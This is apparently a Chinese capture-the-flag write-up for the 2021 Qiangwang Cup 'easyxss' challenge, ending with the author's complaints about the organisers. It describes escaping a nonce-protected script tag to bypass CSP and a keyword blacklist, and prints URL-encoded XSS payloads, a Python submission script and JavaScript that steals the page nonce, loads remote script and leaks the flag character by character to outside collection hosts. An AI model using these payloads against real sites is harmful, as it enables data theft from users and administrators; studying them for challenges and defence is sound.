强网杯2021 easyxss wp
前言
这题的环境和官方态度一言难尽,见后话。
网站功能描述
一个写日志的网站,需要注册登录。有一个提交url的地址,提交过去之后拥有管理员权限的bot会去访问。 写好的日志能够搜索、还有一个渲染页面。 主要考点是CSP的绕过,并且黑名单了一些字符。
CSP限制
1
| Content-Security-Policy: default-src 'self'; form-action 'self'; frame-ancestors 'self'; style-src 'self'; img-src 'self'; script-src 'nonce-e5DgJ35L8SEgJZIP7REN9w==' https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/; frame-src https://www.google.com/recaptcha/
|
可以看到还是比较严格的, script-src
基本上就是 nonce
和谷歌的几个没啥利用方法的path(https://www.gstatic.com/recaptcha/、https://www.google.com/recaptcha/api.js)
47.104.192.54:8888/about?theme=hachp1
弹窗
由于nonce的存在,没办法直接插入 script
,所以不能用写日志的方式进行储存型XSS。发现渲染页面直接把参数 theme=
输出在本身带有nonce的script标签中,而且双引号没过滤,所以闭合一下,成功弹窗:
1
| http://47.104.192.54:8888/about?theme=%22;});alert(%2211111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111%22);a=({//%22;
|
经测试,可以使用的字符:asd123/()., ; =-+?$:
过滤了src、get、body等关键词(环境打不开了,没有记下来)
用location可以向XSS平台传payload:
1
| http://47.104.192.54:8888/about?theme=%22%3b%7d)%3bwindow.location.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%3fc%3d123%22%3ba%3d(%7b%2f%2f%22%3b
|
由于bot访问的是localhost,测试url:
1
| http://localhost:8888/about?theme=%22%3b%7d)%3bwindow.location.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%3fc%3d123%22%3ba%3d(%7b%2f%2f%22%3b
|
这题出题人和主办方对环境的考虑有很大问题,这题本来就是一个可能大量交互的题目,居然还用公共靶机,我做这题的时候时间已经比较晚了,当时BOT已经被其他师傅D烂了,根本做不了。。。
以下为一些失败的payload,多数是由于黑名单限制没能成功,供参考:
1 2 3 4 5 6 7 8 9 10 11 12 13
| document.body.appendChild(document.createElement("script")).src="//129.204.230.95/1.js" http://47.104.192.54:8888/about?theme=%22;});document.body.appendChild(document.createElement("script")).src="//129.204.230.95/1.js";a=({//%22; $.getScript`http://129.204.230.95/1.js` http://47.104.192.54:8888/about?theme=%22;});function createXmlHttp() { if (window.XMLHttpRequest) { xmlHttp = new XMLHttpRequest() } else { var MSXML = new Array("MSXML2.XMLHTTP.5.0", "MSXML2.XMLHTTP.4.0", "MSXML2.XMLHTTP.3.0", "MSXML2.XMLHTTP", "Microsoft.XMLHTTP"); for (var n = 0; n < MSXML.length; n++) { try { xmlHttp = new ActiveXObject(MSXML[n]); break } catch(e) {} } }}createXmlHttp();xmlHttp.onreadystatechange = function(){ if (xmlHttp.readyState == 4) { code=escape(xmlHttp.responseText); createXmlHttp(); window.location.href="http://129.204.230.95/xss/myxss/?a="+code; }};xmlHttp.open("GET", "/xsstest/1.txt", true);xmlHttp.send(null);;a=({//%22; http://47.104.192.54:8888/about?theme=";});xmlHttp=new XMLHttpRequest();xmlHttp.onreadystatechange=function(){if(xmlHttp.readyState==4){code=escape(xmlHttp.responseText);window.location.href="http://129.204.230.95/xss/myxss/?a="+code;}};xmlHttp.open("GET","/xsstest/1.txt",true);xmlHttp.send(null);;a=({//"; var script=document.createElement("script");script.setAttribute("sr"+"c","http://129.204.230.95/1.js");document.head.appendChild(script); http://47.104.192.54:8888/about?theme=%22;});var%09script=document.createElement(%22script%22);script.setAttribute(%22sr%22%2b%22c%22,%22http://129.204.230.95/1.js%22);document.head.appendChild(script);a=({//%22;
|
成功传输到XSS平台的payload
经过一番调之后,终于发现一个能打的payload:
1 2 3
| http://47.104.192.54:8888/about?theme=%22;});$.post(%22/flag%22,function(response){location.href=%22http://129.204.230.95/xss/myxss/?a=%22%2bresponse;});a=({//%22; http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fflag%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b
|
以上payload虽然可用,但没有返回结果,因为 /flag
处还有一个flag猜解的操作,要验证payload的可用性,想在xss平台看到一些回应可以用以下payload先返回一下其他页面:
1
| http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fhint%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b
|
/flag
路由下的flag猜解
hint页面给了/flag路由下的逻辑,只有flag的前几位猜对时才返回 /flag
的前几位,所以实际做题时需要一位位的猜解:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| app.all("/flag", auth, async (req, res, next) => { if (req.session.isadmin && typeof req.query.var === 'string') { fs.readFile('/flag', 'utf8', (err, flag) => { let flagArray = flag.split(''); let dataArray = req.query.var.split(''); let check = true; for (let i = 0; i < dataArray.length && i < flagArray.length; i++) { if (dataArray[i] !== flagArray[i]) { check = false; break } } if (check) { res.status(200).send(req.query.var); } else { res.status(500).send('Keyword Error!'); } }); } else { res.status(500).send('Sorry, you are not admin!'); } });
|
最后需要用脚本来做,给出一个帮助理解的poc(用来猜flag第一位为 f
):
1
| http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fflag%3fvar%3df%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b
|
做题脚本(半自动化的,一次执行只猜一位):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64
| import requests url1 = 'http://47.104.155.242:8888' url2 = 'http://47.104.192.54:8888' url3 = 'http://47.104.210.56:8888' url3='http://8.129.41.25:8888' payload = 'http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fflag%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b' flag_h='flag' words='}{0123456789abcdefghijklmnopqrstuvwxyz-_' sess1 = requests.Session() sess2 = requests.Session() sess3 = requests.Session() def regist(sess, url): data = { 'username': '3', 'password': '3', 'submit': 'submit' } reg_url = url+'/register' return sess.post(reg_url, data=data) def login(sess, url): data = { 'username': '3', 'password': '3', 'submit': 'submit' } login_url = url+'/login' return sess.post(login_url, data=data) def upload_url(sess, url,word): flag=flag_h+word payload='http://localhost:8888/about?theme=%22%3b%7d)%3b%24.post(%22%2fflag%3fvar%3d'+flag+'%22%2cfunction(response)%7blocation.href%3d%22http%3a%2f%2f129.204.230.95%2fxss%2fmyxss%2f%3fa%3d%22%2bresponse%3b%7d)%3ba%3d(%7b%2f%2f%22%3b' data = { 'url': payload } up_url = url+'/report' return sess.post(up_url, data=data) while 1: for word in words: print(flag_h+ word) regist(sess3, url3) login(sess3, url3) upload_url(sess3, url3,word)
|
做题的恶劣环境下的解法
赛后看B乎,看到Zeddy大佬说恶劣环境可能也是做题考察的一部分,学到了(应该不是出题者本意,但也学习了),参考Nu1L的WP,可以引用远程的JS,并且在js中猜测flag(避免了猜一位的多次网络交互,但也需要一位一位的猜很多次):
直接读取了nonce,很有意思:
1 2 3 4 5
| http://localhost:8888/about? theme=";});var%09c=document.createElement("script");$(c).attr("nonce",$("scr ipt") [2].nonce);$(c).attr("s"%2b"rc","//58.87.73.74:8887/test.js");document.head. append(c);console.log({"te":"",//
|
用js在受害者端一位一位的猜flag:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| var cccc = "flag{6bb77f8b-6bc8-4b9e-b654-8a4da5ae920d" function post(ch) { cccc = cccc + ch; document.location = "http://58.87.73.74:8887/" + cccc; } function test(ch) { url = "http://localhost:8888/flag?var=" + cccc + ch; fetch(url).then(response => { if (response.status == 200) { post(ch) } }); } var charset = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f', '-', '}' ] for (var j = 0; j < charset.length; j++) { test(charset[j]); }
|
其实应该是可以在bot端一口气猜完所有位的,只是现在环境关了不好调js了,感觉这样可能会更好一些。
后话
虽然我很少喷人,但这次真的想喷一下,主办方的人说“半自动化非常花时间,在正常比赛中不可能做的出来”,在我的做题时间点看来,如果bot服务是流畅的(比如独立的靶机),完全能够半自动的做出来的,虽然肯定不及更加优化的解题方案,但这种正常的情况应该也是能够得分的。虽然从某些人的角度来说,就比赛上确实不公,但是bot频频挂掉确实不应该是所谓的“正常情况”。特别是最后一波“本地验证”的操作,令人哭笑不得。